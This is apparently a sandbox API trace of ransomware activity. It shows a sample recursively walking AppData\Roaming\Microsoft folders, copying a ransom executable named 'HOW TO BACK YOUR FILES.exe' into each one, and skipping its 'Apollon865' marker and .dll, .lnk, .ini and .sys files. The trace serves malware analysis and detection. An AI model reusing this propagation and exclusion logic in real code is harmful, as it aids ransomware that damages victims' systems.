	[0042.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0042.946] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates") returned 65
	[0042.946] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates"
	[0042.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.947] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.004] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.004] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x31b44170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b44170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.004] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.004] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.004] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Normal.dotm" | out: lpString1="Normal.dotm") returned="Normal.dotm"
	[0043.004] lstrlenW (lpString="Normal.dotm") returned 11
	[0043.004] lstrlenW (lpString="Apollon865") returned 10
	[0043.005] lstrcmpiW (lpString1="ormal.dotm", lpString2="Apollon865") returned 1
	[0043.005] lstrlenW (lpString=".dll") returned 4
	[0043.005] lstrcmpiW (lpString1="Normal.dotm", lpString2=".dll") returned 1
	[0043.005] lstrlenW (lpString=".lnk") returned 4
	[0043.005] lstrcmpiW (lpString1="Normal.dotm", lpString2=".lnk") returned 1
	[0043.005] lstrlenW (lpString=".ini") returned 4
	[0043.005] lstrcmpiW (lpString1="Normal.dotm", lpString2=".ini") returned 1
	[0043.005] lstrlenW (lpString=".sys") returned 4
	[0043.005] lstrcmpiW (lpString1="Normal.dotm", lpString2=".sys") returned 1
	[0043.005] lstrlenW (lpString="Normal.dotm") returned 11
	[0043.005] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0043.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0043.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 74
	[0043.005] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0043.005] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.005] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.010] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.010] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31b44170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b44170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.010] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.010] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.010] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="My" | out: lpString1="My") returned="My"
	[0043.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0043.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x599bd8
	[0043.010] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0043.010] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0
	[0043.010] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.010] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0043.010] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0043.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0043.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 77
	[0043.010] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0043.011] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.011] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.015] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31b6a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b6a2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.015] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.015] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.015] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Certificates" | out: lpString1="Certificates") returned="Certificates"
	[0043.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0043.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb6) returned 0x5c1458
	[0043.015] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0043.015] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1
	[0043.015] lstrcmpiW (lpString1="CRLs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.015] lstrcmpiW (lpString1="CRLs", lpString2="Apollon865.txt.exe") returned 1
	[0043.015] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="CRLs" | out: lpString1="CRLs") returned="CRLs"
	[0043.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0043.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599bd8
	[0043.015] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0043.015] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1
	[0043.015] lstrcmpiW (lpString1="CTLs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.015] lstrcmpiW (lpString1="CTLs", lpString2="Apollon865.txt.exe") returned 1
	[0043.015] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="CTLs" | out: lpString1="CTLs") returned="CTLs"
	[0043.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0043.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599c88
	[0043.015] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0043.016] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31b6a2d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31b6a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.016] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.016] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31b6a2d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31b6a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.016] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.016] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd90
	[0043.016] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0043.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c88 | out: hHeap=0x580000) returned 1
	[0043.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0043.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 82
	[0043.016] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0043.016] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.016] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.020] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31b6a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b6a2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.020] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.020] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.020] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0043.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0043.020] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 82
	[0043.020] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0043.021] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.021] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.025] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.025] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31b6a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b6a2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.025] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.025] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.025] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0043.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0043.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0043.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 90
	[0043.026] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0043.026] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.026] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.030] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.030] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31b90430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b90430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.030] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.030] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.030] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech"
	[0043.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0043.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0043.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech") returned 62
	[0043.030] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech"
	[0043.030] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.030] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\speech\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.035] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.036] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x31b90430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31b90430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.036] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.036] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.036] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks"
	[0043.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0043.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned 81
	[0043.036] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks"
	[0043.036] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\how to back your files.exe"), bFailIfExists=1) returned 1
